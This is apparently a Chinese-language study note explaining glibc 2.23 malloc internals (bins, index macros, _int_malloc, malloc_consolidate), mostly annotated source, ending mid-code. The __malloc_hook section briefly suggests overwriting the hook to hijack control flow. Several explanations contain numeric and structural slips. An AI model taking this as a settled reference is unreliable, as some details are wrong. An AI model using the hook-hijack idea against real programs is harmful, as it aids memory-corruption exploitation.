1
2
3
MALLOC_ALIGNMENT=2*SIZE_SZ=16=0b 10000
MALLOC_ALIGN_MASK=15=0b 1111
~MALLOC_ALIGN_MASK=111...111 0000

这个global_max_fastmalloc_init_state时期被初始化

1
2
3
4
if (av == &main_arena)
set_max_fast (DEFAULT_MXFAST);

#define DEFAULT_MXFAST (64 * SIZE_SZ / 4)

对于x64平台,SIZE_SZ=8,那么DEFAULT_MXFAST=128

1
2
3
4
5
set_max_fast(128):
global_max_fast = ((128 + 8) & 111...111 0000))
=0b10001000&0b111...111 0000
=0b10000000
=128

也就是说,nb<=128才可能在fastbin中取堆块

fastbin_index
1
#define fastbin_index(sz)  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

在x64平台上,SIZE_SZ=8,而在x86平台上SIZE_SZ=4

如果在x64平台上,则将sz右移4位,相当于除以16,然后-2,

1
2
fastbin_index(sz)
=sz >> 4 - 2
sz fastbin_index(sz) on x64
[0b100000,0b110000)=[32,48) 0
[0b110000,0b1000000)=[48,64) 1
[0b1000000,0b1010000)=[64,80) 2

比如用户期望分配0x10大小的空间,那么实际上的堆块大小是32字节

1
2
3
4
fastbin_index(0b100000)
=0b100000>>4 -2
=0b10-2
=0
fastbin[idx]
1
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])

fastbins结构

1
2
3
4
5
6
7
typedef struct malloc_chunk *mfastbinptr;
...
struct malloc_state{
...
mfastbinptr fastbinsY[NFASTBINS];
...
}

fastbins是一个链栈,先释放的堆块也会先被再次分配

也就是说mfastbinptr *fb = &fastbin (av, idx);

这栈中的指针变量fb指向桶子头的地址,桶子头指向该桶子中的第一个堆块

1
2
3
4
5
6
flowchart LR
A["fastbin[x] @malloc_state"]
a2["1st chunk @heap"]
a1["2nd chunk @heap"]
a0["3rd chunk @heap"]
fb["fb句柄 @stack"]---->A--fd-->a2--fd-->a1--fd-->a0
catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)
1
2
3
4
5
6
7
8
9
10
11
#  define catomic_compare_and_exchange_val_acq(mem, newval, oldval) \
atomic_compare_and_exchange_val_acq (mem, newval, oldval)

#define atomic_compare_and_exchange_val_acq(mem, newval, oldval) \
({ __typeof (mem) __gmemp = (mem); \
__typeof (*mem) __gret = *__gmemp; \
__typeof (*mem) __gnewval = (newval); \
\
if (__gret == (oldval)) \
*__gmemp = __gnewval; \
__gret; })

这个宏的作用是,

原本mem指向的是oldval,现在将oldval作为返回值,然后将men指向newval

放在原文中

1
2
3
4
5
6
7
8
9
10
11
do
{
victim = pp;//首先执行一次,如果第一次victim为空,说明这个桶子就是空的,也就不能用fastbin进行分配
if (victim == NULL)
break;
}
while (
(pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)
)!= victim
//victim指向链栈顶堆块,把他取下来,把原来的次顶堆块,也就是victim的后继堆块,挂到fb指针上,返回值pp是victim
);

fb这个桶子头原本是指向victim这个堆块的,

现在要让fb指向victim的后继堆块,然后返回victim给pp

显然pp必然等于victim,也就是顶多拿出堆顶来,while就结束了,while只会执行一次

至于为啥要这样写呢?压行

check_remalloced_chunk(A,P,N)

对本应该属于A分配区的大小位S的堆块P进行检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# define check_remalloced_chunk(A, P, N) do_check_remalloced_chunk (A, P, N)


static void
do_check_remalloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{
INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA);
//提取p堆块结构体中存放的size,由于低三位是标志复用,现在需要将其盖住
if (!chunk_is_mmapped (p))//如果是mmap分配的堆块
//如果是mmap分配的堆块,则
{
assert (av == arena_for_chunk (p));//首先检查给定的av是否是预期的p的所属分配区
if (chunk_non_main_arena (p))//如果p不是主分配区的
assert (av != &main_arena);//检查av是不是主分配区
else
assert (av == &main_arena);
}

do_check_inuse_chunk (av, p);//检查本堆块是否正在使用

/* Legal size ... */
assert ((sz & MALLOC_ALIGN_MASK) == 0);//检查sz大小是否对齐
assert ((unsigned long) (sz) >= MINSIZE);//检查sz大小是否大于最小分配大小
/* ... and alignment */
assert (aligned_OK (chunk2mem (p)));//检查p指向的地址是否对齐
/* chunk is less than MINSIZE more than request */
assert ((long) (sz) - (long) (s) >= 0);
assert ((long) (sz) - (long) (s + MINSIZE) < 0);
}

unsortedbins

smallbinsunsortedbins中堆块的连接方式相同,都是双向链表

两者不同的是,unsortedbin中堆块可以大小各异,但是smallbin中一个桶子里的堆块必须相同

smallbin2

unsortedbin的双向链表没有长短限制,采用头插法

unsorted_chunks(M) (bin_at(M, 1))
1
#define unsorted_chunks(M) (bin_at(M, 1))

取unsortedbin桶子头

smallbins

1
#define NSMALLBINS 64

bins的下标是从0到253,其中每个桶子占用两个bins,分别作为fd和bk指针

smallbins占用64个桶子,

其中第1个桶子是unsortedbin,第2个到第63个桶子是smallbins

从第64个及以后的桶子就是largebins

next_bin
1
2
/* analog of ++bin */
#define next_bin(b) ((mbinptr)((char *)(b) + (sizeof(mchunkptr) << 1)))

下一个bin就是mchunkptr指针的大小,也就是8个字节(在x64上)

左移一位也就是乘以2,因为每个Bin占用两个bin,分别作为fd和bk指针

in_smallbin_range
1
2
3
4
5
6
7
8
9
10
11
12
13
#define in_smallbin_range(sz)  \
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)

#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)

#define NBINS 128
#define NSMALLBINS 64
#define SMALLBIN_WIDTH MALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)

///MALLOC_ALIGNMENT=16
SMALLBIN_CORRECTION=FALSE=0
MIN_LARGE_SIZE=(64-0)*16=1024

smallbins有(64-2=62)个桶子,最大管理的堆块为1023Bytes

再大一个字节都得放到largebin中

也就是说fastbins管理的堆块大小也在smallbin范围内,也就是说,fastbin相当于前部分比较小的smallbins的缓存

smallbin_index
1
2
3
4
5
#define smallbin_index(sz) \
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))+ SMALLBIN_CORRECTION)
SMALLBIN_WIDTH=MALLOC_ALIGNMENT=16字节
SMALLBIN_CORRECTION=0
smallbin_index(sz)=(sz>>4)+0=sz/16

这里参数sz是将请求大小换算成对应堆块整体大小之后的值,也就是包括了元数据

最小是0x20(元数据prev_size和size占用0x10,剩下的0x10是最小分配要求)

堆块大小(sz) index
unsortedbin 1
smallbins [1,63]
[0x20,0x30) 2
[0x30,0x40) 3
....
[0x3f0,0x400) 63
>0x400 largebins
bin_at
1
2
3
4
#define bin_at(m, i) \
(mbinptr)(((char *)&((m)->bins[((i)-1) * 2])) - offsetof(struct malloc_chunk, fd))
//(m)->bins[((i)-1) * 2]-16
#define offsetof(s,m) ((size_t)&(((s*)0)->m))

这里m是malloc_state结构,i是使用smallbin_index宏计算出的堆块在smallbin中的下标,i从2开始,因为bins[0]和bins[1]是unsortedbin的地盘

m->bins[2*(i-1)]指向的是下标为(2*(i-1))的桶子的桶子头,减去fd成员在一个堆块中的偏移量,得到的是该桶子头基址往前16字节的内存地址

显然这个地方是未知的,这是为啥呢?

最后将该地址又交给一个mbinptr也就是malloc_chunk*指针保管

那么此时,新指针+16的位置刚好是修正后的fd

9c28ec87e40a4ea615599a26bafa58c

而每个桶子头节点虽然也是malloc_chunk类型,但是只需要fd和bk两个指针,其他成员不需要

smallbinhead
set_inuse_bit_at_offset
1
2
#define set_inuse_bit_at_offset(p, s) \
(((mchunkptr)(((char *)(p)) + (s)))->size |= PREV_INUSE)

将size字段的flag位设置上PREV_INUSE=1,表示前一个物理相邻块正在被占用

do_check_malloced_chunk
1
2
3
4
5
6
7
#define check_malloced_chunk(A, P, N) do_check_malloced_chunk(A, P, N)
static void
do_check_malloced_chunk(mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{
do_check_remalloced_chunk(av, p, s);
assert(prev_inuse(p));
}

largebins

smallbins中的每两个相邻的桶子,其中堆块的大小相差0x16字节(在x64上)

Bin Index就是bin_at的计算结果

1
2
3
4
5
6
7
8
9
10
11
12
实际上largebins和smallbins可以看成一个整体,前64个桶子是smallbins
64个桶子相邻两个桶子之间大小差8字节
然后32个桶子相邻两个桶子之间大小差64字节
然后16个桶子相邻两个桶子之间大小差512字节
...
64 bins of size 8
32 bins of size 64
16 bins of size 512
8 bins of size 4096
4 bins of size 32768
2 bins of size 262144
1 bin of size what's left
largebin_range

malloc函数在分配时,超过smallbin_range大小的堆块才可能被放到largebin

1
2
#define in_smallbin_range(sz) \
((unsigned long)(sz) < (unsigned long)MIN_LARGE_SIZE)

在x64上,MIN_LARGE_SIZE=1024

也就是说,大于等于1024的堆块才可能进入largebin

largebin_index
1
2
3
4
5
6
7
8
9
10
11
#define largebin_index(sz)                              \
(SIZE_SZ == 8 ? largebin_index_64(sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big(sz) \ //size_sz!=8并且对齐是16位,调用largebin_index_32_big
: largebin_index_32(sz)) //size_sz!=8并且对齐是8位,调用largebin_index_32
x64上SIZE_SZ=8(一个指针的大小),因此调用largebin_index_64(sz) 这个宏
#define largebin_index_64(sz) \
(((((unsigned long)(sz)) >> 6) <= 48) ? 48 + (((unsigned long)(sz)) >> 6) : ((((unsigned long)(sz)) >> 9) <= 20) ? 91 + (((unsigned long)(sz)) >> 9) \
: ((((unsigned long)(sz)) >> 12) <= 10) ? 110 + (((unsigned long)(sz)) >> 12) \
: ((((unsigned long)(sz)) >> 15) <= 4) ? 119 + (((unsigned long)(sz)) >> 15) \
: ((((unsigned long)(sz)) >> 18) <= 2) ? 124 + (((unsigned long)(sz)) >> 18) \
: 126)

这里的参数sz是包括元数据的整个堆块大小

又落在largebin范围内的堆块,最小是1024字节,因此sz右移6位后,最小是16,那么第一组从16到48,堆块的大小也就是从1024到3072

这些堆块对应的桶下标计算方式为,将其大小右移6位然后加上48,

也就是说,一个桶子中的堆块一样大,同一组内相邻两个桶子中堆块相差64B

largebins堆块大小 下标
[1024,1087) 64
[1088,1151) 65
...
[3072,3135) 96 这块儿到底塞到哪里我也不知道
1
2
3
4
5
6
7
64 bins of size       8
32 bins of size 64
16 bins of size 512
8 bins of size 4096
4 bins of size 32768
2 bins of size 262144
1 bin of size what's left

整个largebin中有6组桶子,第一组占用32个Bins,相邻两个桶子之间的堆块相差64B

第二组占用16个Bins,相邻两个桶子之间的堆块相差16B

...

1
2
3
4
5
6
7
if(sz/64<=48){
return 48+sz/64
}else if(sz/512<=20){
return 91+sz/512
}else if(sz/4096<=10){
return 110+sz/4096
}else if(sz/)

binmap

1
2
3
4
5
6
7
8
9
10
#define NBINS 128

#define BINMAPSHIFT 5
#define BITSPERMAP (1U << BINMAPSHIFT)
BITSPERMAP=32
#define BINMAPSIZE (NBINS / BITSPERMAP)
BINMAPSIZE=128/32=4

unsigned int binmap[BINMAPSIZE];
unsigned int binmap[4];

binmap是一个4个int的数组,共32位,不管是x64还是x86都是32位,用于标记32个largebin中是否有空闲的堆块

用于加快largebin中分配堆块时的最适寻找工作

1
#define idx2block(i) ((i) >> BINMAPSHIFT)

i是largebins下标,右移5位也就是除以32计算得到属于i下标的桶子属于map[0]还是map[1],map[2],map[3]哪一个管理

一个block也就是8个桶子归一个map管

1
#define idx2bit(i) ((1U << ((i) & ((1U << BINMAPSHIFT) - 1))))

计算i下标的largebins桶子属于其对应block的哪一位管

1
2
3
#define mark_bin(m, i) ((m)->binmap[idx2block(i)] |= idx2bit(i))			//改,标记i下标的largebins有空闲堆块
#define unmark_bin(m, i) ((m)->binmap[idx2block(i)] &= ~(idx2bit(i))) //删
#define get_binmap(m, i) ((m)->binmap[idx2block(i)] & idx2bit(i)) //查

algorithm

malloc

用户空间的malloc函数,实际上调用的是__libc_malloc@glibc,别名罢了

__libc_malloc

用户程序调用的malloc函数,实际上调用的是__libc_malloc

glibc/malloc/malloc.c中有这么一个alias声明

1
strong_alias (__libc_malloc, __malloc) strong_alias (__libc_malloc, malloc)

__libc_malloc实际上做的事情就两句话

1
2
victim = _int_malloc (ar_ptr, bytes);
return victim;

其他内容都是多线程上下锁,各种检查,编译优化了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;//堆块指针

void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0));//在实际调用int_malloc函数之前,首先调用钩子函数hook,hook指向__malloc_hook

arena_get (ar_ptr, bytes);//获取分配区指针,返回值交给ar_ptr,传递参数bytes的作用是判断分配区空间是否足够

victim = _int_malloc (ar_ptr, bytes);//int_malloc函数是实际进行内存分配的函数
/* Retry with another arena only if we were able to find a usable arena
before. */
if (!victim && ar_ptr != NULL)//分配失败并且没有获取到分配区
{
LIBC_PROBE (memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry (ar_ptr, bytes);//分配区获取失败,重试一次
victim = _int_malloc (ar_ptr, bytes);//重新获取分配区之后再次尝试切割堆块给victim
}

if (ar_ptr != NULL)//解锁,因为int_malloc中会对分配区上锁,解锁后方便其他线程分配内存
(void) mutex_unlock (&ar_ptr->mutex);

assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
ar_ptr == arena_for_chunk (mem2chunk (victim)));//最后一次检查
//检查内容包括:
//victim指针是否真的指向一个堆块
//victim对应的堆块是否已经在bitmap中被标记
//ar_ptr指向的分配区,是否是victim堆块所在的分配区
return victim;
}
atomic_forced_read
1
2
# define atomic_forced_read(x) \
({ __typeof (x) __x; __asm ("" : "=r" (__x) : "0" (x)); __x; })

原子读,这段内联汇编应该这样断句:

1
2
3
4
5
__asm (
""
: "=r" (__x)
: "0" (x)
);

首先""意思是没有一条指令,本内联代码块只需要使用输入输出约束

"=r" (__x)输出操作数约束,意思是将__x视为输出变量,放到通用寄存器里

: "0" (x)输入操作数约束,意思是x使用和第一个输出操作数(也就是__x)相同的约束

整个内联汇编的作用是将变量x拷贝到__x

看完了也不知道"原子"如何保证的

1
__builtin_expect (hook != NULL, 0)

编译器分支预测优化

long __builtin_expect(long exp, long c);期望exp表达式的值等于c

__malloc_hook
1
2
static void *malloc_hook_ini(size_t sz,const void *caller) __THROW;
void *weak_variable (*__malloc_hook)(size_t __size, const void *) = malloc_hook_ini;

分配前钩子,如果有注册钩子函数,则调用该钩子函数进行分配,直接返回钩子函数的返回值给句柄,不会再调用glibc自己实现的int_malloc

可以考虑篡改malloc_hook钩子劫持控制流

malloc_hook以及free_hook劫持原理 | S3cana's Blog (seanachao.github.io)

_int_malloc

这个函数很长,因为GNU向来要求函数嵌套不能太深,因此这个一个函数综合了从fastbin,smallbin,bin,unsortedbin等各种地方申请堆块的操作

glibc2.23/malloc/malloc.c 第3318行开始

函数签名

1
static void *_int_malloc (mstate av, size_t bytes);

static决定本函数只能在malloc模块中可见,用户程序无法越级调用

void*返回值类型

两个参数,mstate av是分配区指针

size_t bytes是企图分配的内存大小

算法流程

malloc

局部变量

首先定义了一众局部变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
INTERNAL_SIZE_T nb;               /* normalized request size *///本变量是用户希望大小size的计算值,也就是实际的堆块大小
unsigned int idx; /* associated bin index *///本变量用于记录nb大小的堆块属于的桶子下标
mbinptr bin; /* associated bin */;//桶子头指针

mchunkptr victim; /* inspected/selected chunk *///命中堆块
INTERNAL_SIZE_T size; /* its size */ //victim命中堆块本来的大小
int victim_index; /* its bin index */ //victim_index命中堆块属于的桶子下标

mchunkptr remainder; /* remainder from a split */ //切割一个大块,剩下的部分被称为remainder
unsigned long remainder_size; /* its size */ //剩余部分的大小

unsigned int block; /* bit map traverser */ //binmap下标,用于记录一个桶子属于四个block之一的哪一个
unsigned int bit; /* bit map traverser */ //用于记录一共桶子属于其block中的哪一位
unsigned int map; /* current word of binmap */ //binmap[map],作为binmap的下标,有0,1,2,3四个取值

mchunkptr fwd; /* misc temp for linking */ //取桶子头之后一般会让bck指向之前的第一个堆块,fwd指向桶子头,然后头插
mchunkptr bck; /* misc temp for linking */

const char *errstr = NULL;

计算实际大小

1
checked_request2size (bytes, nb);

这个宏的作用是将请求的bytes,按照对齐等规则,转化为实际上要申请的大小nb

经过此宏之后,int_malloc中使用的都是nb,不再使用bytes作为分配大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define checked_request2size(req, sz)                             \
if (REQUEST_OUT_OF_RANGE (req)) { \
__set_errno (ENOMEM); \
return 0; \
} \
(sz) = request2size (req);


#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)


#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
# define MALLOC_ALIGNMENT (2 *SIZE_SZ < __alignof__ (long double) \
? __alignof__ (long double) : 2 *SIZE_SZ)

如果请求大小req+SIZE_SZ+对齐掩码小于最小分配大小,则按照最小分配大小来

否则将上述值和对齐掩码的补码按位与

在x64上

MALLOC_ALIGNMENT=2*SIZE_SZ=16

MALLOC_ALIGN_MASK=15

request2size(req) =(req+8+15 )&11111110000

假设req=0x10,即用户希望得到一块至少有0x10个字节的堆块则

1
2
3
4
5
6
request2size(req) 
=(16+8+15 )&11111110000
=(0b10000+0b1000+0b1111)&111111110000
=0b100111&0b110000
=0b100000
=32

检查当前是否有可用分配区

然后检查av分配区指针是否为空,显然这里的编译器优化是期望其不空的

但是如果真的av为空,没有可用分配区的画,则调用sysmalloc直接解决分配问题

1
2
3
4
5
6
7
8
9
/* There are no usable arenas.  Fall back to sysmalloc to get a chunk from
mmap. */
if (__glibc_unlikely (av == NULL))
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}

如果果真为空则调用sysmalloc函数,

sysmalloc被调用的情况是这样的:

当av分配区的topchunk大小不足以满足用户需求,调用sysmalloc扩大topchunk大小或者更换topchunk

比如调用sbrk系统调用扩大topchunk的大小

sysmalloc如果能成功分配堆块,则p指向该堆块,然后alloc_perturb将p指向堆块的用户空间的前bytes个字节,初始化为perturb_byte^0xff

1
2
3
4
5
6
7
8
static int perturb_byte;

static void
alloc_perturb (char *p, size_t n)
{
if (__glibc_unlikely (perturb_byte))
memset (p, perturb_byte ^ 0xff, n);
}

fastbins区分配

经过两个检查之后,如果控制流执行至此,说明需要分配的堆块不是很离谱,起码不用麻烦sbrk额外分配大块内存

那么首先尝试使用fastbins进行分配

在该区分配的主要流程:

1.根据实际堆块大小nb计算应该落在哪个桶子里

2.从该桶子顶取出一个堆块交给用户

3.将该桶子中剩余的部分重新挂到桶子头上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{//首先判断,nb这个大小,是否落在fastbins管理的堆块大小范围内

//控制流至此说明nb大小适合fastbins分配,下面需要判断fastbins里面有没有空闲堆块

idx = fastbin_index (nb);//根据nb大小计算落在fastbin的哪个桶里面,返回值是数组下标
mfastbinptr *fb = &fastbin (av, idx);//&fastbins[idx]就是对应桶的桶子头
mchunkptr pp = *fb;//*解引用,也就是拿出fastbins[idx]指向的第一个堆块,pp拷贝堆块的指针
do
{
victim = pp;//如果上来victim就为空,说明桶子头fastbins[idx]指向NULL,也就是这个桶是空的
if (victim == NULL)
break;
}
while (
(pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)
)!= victim
//victim指向链栈顶,然后把他取下来,把原来的次顶堆块挂到fb指针上,返回值pp是victim
);
if (victim != 0)//如果victim不为0说明对应桶中确实有堆块,并且已经交给victim保管
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{//victim获取到的fastbin堆块,再检查一下发现不应该属于其原本的桶中,说明有鬼
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);//重新分配的堆块检查,这里指的是从topchunk割下来然后free进入各种bins然后又被重新利用的堆块
void *p = chunk2mem (victim);//
alloc_perturb (p, bytes);
return p;
}
}

smallbins区分配

bins数组中维护的是桶子头的fd,bk指针,一个smallbin头需要两个bins数组元素存放,一个记录fd,一个记录bk,

看图一眼顶针

smallbin1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);//计算nb所在的smallbins下标
bin = bin_at (av, idx);//取smallbin[idx]桶子头节点

if ((victim = last (bin)) != bin)//last(bin)=bin->fd,如果bin的指针还是指向bin说明这个桶子是空的
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);//堆块合并
else
{//下面要将victim从双向链表上摘下来
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))//检查victim->bk指向的堆块,其fd指针是否是victim
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);//经过malloc_consolidate后,如果本块和物理相邻的前块都没使用,则会合并起来
//把victim抠下来,然后把桶子头和victim->bk连起来
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;//标记非主分配区
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);//获取data基地址指针
alloc_perturb (p, bytes);//填充
return p;
}
}
}

fastbin合并

注意有两种到达此处的可能,要么是一个smallbin的申请,但是没在smallbin中找到对应堆块,要么是一个largebin的申请

前者不会引起fastbin的合并,后者会首先合并fastbin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 if (in_smallbin_range(nb))
{
...
if ((victim = last(bin)) != bin) // bin桶子中的最后一个,如果不是bin这个头节点自己,那么说明这个桶子里至少有一个空闲堆块
{
...
return p;
}
}
}


else
{
idx = largebin_index(nb);
if (have_fastchunks(av))
malloc_consolidate(av);
}

fastbin合并之后的堆块,都会被放到unsortedbin中,其目的是给unsortedbin区的尝试分配增大可能性

看上去此时将fastbin进行合并,有损效率,但这是为了防止fastbin截留堆块导致堆空间碎片化(fastbin中的堆块依然保持使用状态,不会被其他临近堆块向前或者向后合并.因此需要对其进行主动合并释放)

并且经验表明,一个程序要么主要使用smallbin大小的堆块,要么主要使用largebin大小的堆块

因此对fastbin的合并操作不会被经常调用

具体的fastbin合并过程,在malloc_consolidate

malloc_consolidate

用于fastbin区的合并

两层循环,外层循环遍历fastbin桶子头

内层循环遍历挂载一个桶子头上的堆块链表

对每个堆块,尝试进行向前合并和向后合并,注意只会分别执行一次

如果尝试向后合并时发现和topchunk相邻则并入topchunk

如果尝试向前合并和向后合并之后,没有并入topchunk会被头插法链接到unsortedbin的双向链表上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
static void malloc_consolidate(mstate av)
{
mfastbinptr *fb; /* current fastbin being consolidated */
mfastbinptr *maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */

/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;
mchunkptr bck;
mchunkptr fwd;

/*
If max_fast is 0, we know that av hasn't
yet been initialized, in which case do so below
*/

if (get_max_fast() != 0)//如果max_faxt值为空,则说明堆还没有初始化
{
clear_fastchunks(av);

unsorted_bin = unsorted_chunks(av);

/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
*/

maxfb = &fastbin(av, NFASTBINS - 1);
fb = &fastbin(av, 0);
do
{
p = atomic_exchange_acq(fb, 0); // p=fb,fb++
if (p != 0)
{
do
{ // 释放快桶子p上挂着的所有堆块
check_inuse_chunk(av, p);
nextp = p->fd; // 先取后继

/* Slightly streamlined version of consolidation code in free() */
size = p->size & ~(PREV_INUSE | NON_MAIN_ARENA); // 撤销flag
nextchunk = chunk_at_offset(p, size); // 物理上相邻的下一个堆块
nextsize = chunksize(nextchunk);

if (!prev_inuse(p))//向前合并
{
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long)prevsize));//取物理上前一个相邻的堆块基址,作为合并堆块的基址
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top)//如果后面和topchunk相邻则和topchunk合并,否则尝试向后合并
{
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

if (!nextinuse)
{
size += nextsize;
unlink(av, nextchunk, bck, fwd);//如果物理上后面相邻的堆块没在使用则向后合并
}
else
clear_inuse_bit_at_offset(nextchunk, 0);

first_unsorted = unsorted_bin->fd;//取第一个unsorted_bin上悬挂的堆块
unsorted_bin->fd = p;//头插法
first_unsorted->bk = p;//将p链接到unsorted_bin和p之间

if (!in_smallbin_range(size))//如果这个合并堆块在largebin范围内则初始化其nextsize指针
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}

set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}

else
{
size += nextsize;
set_head(p, size | PREV_INUSE);//p后面就是topchunk,p合并到topchunk
av->top = p;
}

} while ((p = nextp) != 0);
}
} while (fb++ != maxfb);//遍历整个fastbin,直到fastbin桶子头哨兵maxfb
}
else
{
malloc_init_state(av);//初始化堆
check_malloc_state(av);
}
}

unsortedbin区分配

unsortedbin尝试分配 与 归类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
    while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))//检查unsortedbin中是否确实有堆块,有则从unsortedbin中拿下第一个堆块
{
bck = victim->bk;//后继
if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect(victim->size > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
size = chunksize(victim);//根据size字段获取victim的大小

/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/

if (in_smallbin_range(nb) &&//如果是一个smallbin的分配申请
bck == unsorted_chunks(av) &&//bck=victim->bk如果这个判断通过,说明刚从unsortedbin中拆下的堆块victim是unsoreted中唯一的堆块
victim == av->last_remainder &&//如果victim是最近一次分配过的堆块,最近使用的堆块页面可能还在内存中,因此有这种优化
(unsigned long)(size) > (unsigned long)(nb + MINSIZE))//如果这个victim堆块满足大小要求
{//这个victim通过了考察,下面将其分割,将满足大小要求的部分给用户,剩下的部分再放回unsortedbin
/* split and reattach remainder */
remainder_size = size - nb;//剩余大小
remainder = chunk_at_offset(victim, nb);//victim的前半部分将要分出去给用户,后面的剩下,remainder是剩下部分的基地址
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;//更新unsortedbin中这个唯一堆块的剩余状态
av->last_remainder = remainder;//剩余堆块记为最近使用
remainder->bk = remainder->fd = unsorted_chunks(av);//设置前后指针都为unsortedbin桶子
if (!in_smallbin_range(remainder_size))//如果剩下的部分属于largebin范围,则初始化两个指针
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}

set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);//因为前块被分配,因此remainder的prev_inuse置1
set_foot(remainder, remainder_size);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);//p=victim+0x10指向data区域
alloc_perturb(p, bytes);
return p;
}

/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);//将bin从unsortedbin中拿出来,然后将其前后驱连接

/* Take now instead of binning if exact fit */

if (size == nb)//如果尝试分配的大小,恰好和这个unsortedbin堆块一样大则分配之
{
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

/* place chunk in bin */

if (in_smallbin_range(size))//如果这个刚摘下来的unsortedbin堆块属于smallbin范围,计算好新的前后邻居
{
victim_index = smallbin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;
}
else//否则说明这unsortedbin堆块属于largebin范围,计算好新的前后邻居
{
